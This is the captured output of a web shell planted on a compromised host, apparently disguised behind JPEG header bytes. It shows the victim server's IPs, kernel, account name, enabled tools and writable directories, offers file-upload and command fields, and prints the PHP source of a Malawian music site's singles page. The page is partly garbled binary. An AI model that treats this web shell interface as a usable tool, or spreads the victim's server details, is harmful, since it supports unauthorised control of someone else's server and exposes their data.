����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 18.225.55.42
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/malawisounds.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/malawisounds.com/singles.php
<?php
include 'connect.php';
if (isset($_GET['pageno'])) {
	$pageno = $_GET['pageno'];
} else {
	$pageno = 1;
}
$no_of_records_per_page = 9;
$offset = (($pageno - 1) * $no_of_records_per_page) + 3;

$total_pages_sql = "SELECT COUNT(*) FROM `tbl_uploads`";
$result = mysqli_query($conn, $total_pages_sql);
$total_rows = mysqli_fetch_array($result)[0];
$total_pages = ceil($total_rows / $no_of_records_per_page);
?>
<!DOCTYPE html>
<html lang="en">

<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width,initial-scale=1.0">
	<link rel="icon" type="x-icon" href="Icons/malawisounds.ico">
	<link rel="stylesheet" type="text/css" href="./css/animate.css">
	<link rel="stylesheet" type="text/css" href="./css/load.css">
	<link rel="stylesheet" type="text/css" href="./css/w3.css">
	<link rel="stylesheet" type="text/css" href="bootstrap/css/bootstrap.min.css">
	<link rel="stylesheet" type="text/css" href="impact/stylesheet.css" />
	<script type="text/javascript" src="js/ajax.js"></script>
	<title>Malawisounds - Singles</title>
</head>

<body>
	<div class="margin">
		<?php include './header.php'; ?>
		<!--Search bar-->
		<input type="text" id="search" placeholder="&#xe003 SEARCH-MUSIC, ARTISTS" onkeyup="findmatch(this.value)" class="glyphicon glyphicon-search">

		<!--search results goes here-->
		<div id="results" class="w3-container w3-light-grey"></div>
		<!-- End of nav Bar -->

		<div class="singles">
			<?php
			////////////////////////////////////////////////////////////ARTISTS/////////////////////////////////////////////////////////
			//query for selecting artists
			$sql1 = "SELECT * FROM `biography` WHERE `trending`=1 ORDER BY `id` DESC";
			if ($query_run = mysqli_query($conn, $sql1)) {
				echo "<div  class=\"artist_table\">";
				echo "<center class=\"w3-display-container\">";
				echo "<table>";
				echo "<tr>";
				while ($row = mysqli_fetch_array($query_run)) {
					$path = $row['path'];
					$name = $row['artist_name'];
					$id = (int)$row['id'];
					?>
					<td>
						<a href="artist=<?php echo str_replace(' ', '-', $name); ?>" target="_parent">
							<img src="bio/<?php echo $path; ?>" alt="artist" />
						</a>
					</td>
					<?php
				}
				echo "</tr>";
				echo "</table>";
				echo "</center>";
				echo "</div>";
			} else {
				die(mysqli_error($conn));
			}
			?>
			<div class="container-fluid">
				<div class="row">
					<?php
					//displaying first 3 songs
					$sql = "SELECT * FROM `tbl_uploads` WHERE `song_type`='regular' AND `verify`=1 ORDER BY `id` DESC LIMIT 3";
					if ($query_run = mysqli_query($conn, $sql)) {
						while ($row = mysqli_fetch_array($query_run)) {
							$id = (int)$row['id'];
							$title = $row['title'];
							$artist = $row['artist'];
							$imagepath = $row['image'];
							$titleurl = str_replace(' ', '-', strval($title));
							$artisturl = str_replace(' ', '-', strval($artist));
							$price = $row['price'];
							$mode = $row['song_mode'];
							//displaying free songs
							if ($mode == 'free') { ?>
								<div class="col-lg-4 col-sm-6 wow fadeInUp" data-wow-delay="0.3s">
									<div class="respond">
										<div class="model1">
											<img src="images/<?php echo $imagepath ?>" >
										</div>
										<div class="model2 w3-display-container">
											<a href="<?php echo "$id-$titleurl-by-$artisturl"; ?>"><?php echo "$title by $artist"; ?></a>
											<div class="w3-text-red w3-display-topleft" style="padding-left:5px;opacity:0.9;font-size:12px;">NEW!</div>
										</div>
										<div class="clear"></div>
									</div>
								</div>
							<?php
							}
							//displaying payed songs
							else if ($mode == 'buy') { ?>
								<div class="col-lg-4 col-sm-6 wow fadeInUp" data-wow-delay="0.3s">
									<div class="respond">
										<div class="model1">
											<img src="images/<?php echo $imagepath ?>" >
										</div>
										<div class="model2 w3-display-container">
											<a href="<?php echo "$id-buy-$titleurl-by-$artisturl" ?>"><?php echo "$title by $artist [K$price]"; ?></a>
											<div class="w3-text-red w3-display-topleft" style="padding-left:5px;opacity:0.9;font-size:12px;">NEW!</div>
										</div>
										<div class="clear"></div>
									</div>
								</div>
							<?php
							}
						}
					} else {
						die(mysqli_error($conn));
					}

					/////////////////////////////////////////////////////////////////MUSIC//////////////////////////////////////////////////////////
					//displaying remaining songs
					$sql = "SELECT * FROM `tbl_uploads` WHERE `song_type`='regular' AND `verify`=1 ORDER BY `id` DESC LIMIT $offset, $no_of_records_per_page";
					if ($query_run = mysqli_query($conn, $sql)) {
						while ($row = mysqli_fetch_array($query_run)) {
							$id = (int)$row['id'];
							$title = $row['title'];
							$artist = $row['artist'];
							$imagepath = $row['image'];
							$titleurl = str_replace(' ', '-', $title);
							$artisturl = str_replace(' ', '-', $artist);
							$price = $row['price'];
							$mode = $row['song_mode'];
							$verify = $row['verify'];

							//displaying free songs
							if ($mode == 'free') { ?>
								<div class="w3-card-3 col-lg-4 col-sm-6 wow fadeInUp" data-wow-delay="0.5s">
									<div class="respond">
										<div class="model1">
											<img src="images/<?php echo $imagepath ?>" >
										</div>
										<div class="model2">
											<a href="<?php echo "$id-$titleurl-by-$artisturl"; ?>"><?php echo "$title by $artist"; ?></a>
										</div>
										<div class="clear"></div>
									</div>
								</div>
							<?php
							}
							//displaying payed songs
							else if ($mode == 'buy') { ?>
								<div class="w3-card-3 col-lg-4 col-sm-6 wow fadeInUp" data-wow-delay="0.5s">
									<div class="respond">
										<div class="model1">
											<img src="images/<?php echo $imagepath ?>" >
										</div>
										<div class="model2">
											<a href="<?php echo "$id-buy-$titleurl-by-$artisturl" ?>"><?php echo "$title by $artist [K$price]"; ?></a>
										</div>
										<div class="clear"></div>
									</div>
								</div>
							<?php
							}
						}
					} else {
						die(mysqli_error($conn));
					}
					?>
				</div>
			</div>
			<!-- Pagination -->
			<div class="w3-center">
				<div class="w3-bar">
					<?php
					for ($x = 1; $x <= 1; $x++) {
						echo "<a href=\"?pageno=$x\" class=\"w3-button\">$x</a>";
					}
					?>
					<a href="<?php if ($pageno <= 1) {
									echo '#';
								} else {
									echo "?pageno=" . ($pageno - 1);
								} ?>" class="w3-button">prev</a>
					<a href="<?php if ($pageno == $total_pages) {
									echo '#';
								} else {
									echo "?pageno=" . ($pageno + 1);
								} ?>" class="w3-button">next</a>
					<?php
					echo "<a href=\"?pageno=$total_pages\" class=\"w3-button\">$total_pages</a>";
					?>
				</div>
			</div>
			<?php
			/////////////////////////////////////////////////////////////ADVERT/////////////////////////////////////////////
			//query for selecting adverts from db
			$sql3 = "SELECT aid,ads_name FROM `ads` ORDER BY `aid` DESC";
			if ($query_run = mysqli_query($conn, $sql3)) {
				list($id, $imagepath) = mysqli_fetch_array($query_run);
				echo "<div style=\"overflow-x:auto;background-color:#b7b7b7;\" class=\"merchandise\">";
				echo "<table>";
				echo "<tr>";
				?>
				<td>
					<center><img src="ads/<?php echo $imagepath; ?>" alt="advert" /></center>
				</td>
			<?php
				echo "</tr>";
				echo "</table>";
				echo "</div>";
			} else {
				die(mysqli_error($conn));
			}
			?>
		</div>
		<!--Footer-->
		<?php include './footer.php'; ?>

	</div>
</body>
</html>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/nav.js"></script>
<script src="./js/wow.js"></script>
<script type="text/javascript">
	function _(selector) {
		return document.querySelectorAll(selector);
	}
	_("ul li a")[1].style.backgroundColor = "#3f4243";
	_("ul li a")[1].style.Color = "white";

	//scripts for trimming song titles
	x = document.querySelectorAll(".model2 a");
	for (i = 0; i < x.length; i++) {
		y = x[i].innerHTML;
		if (y.length <= 28) {
			z = x[i].innerHTML;
		} else {
			y = x[i].innerHTML.slice(0, 28);
			z = x[i].innerHTML = y + "...";
		}
	}

	/* Animated Wow Js */
	new WOW().init();
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit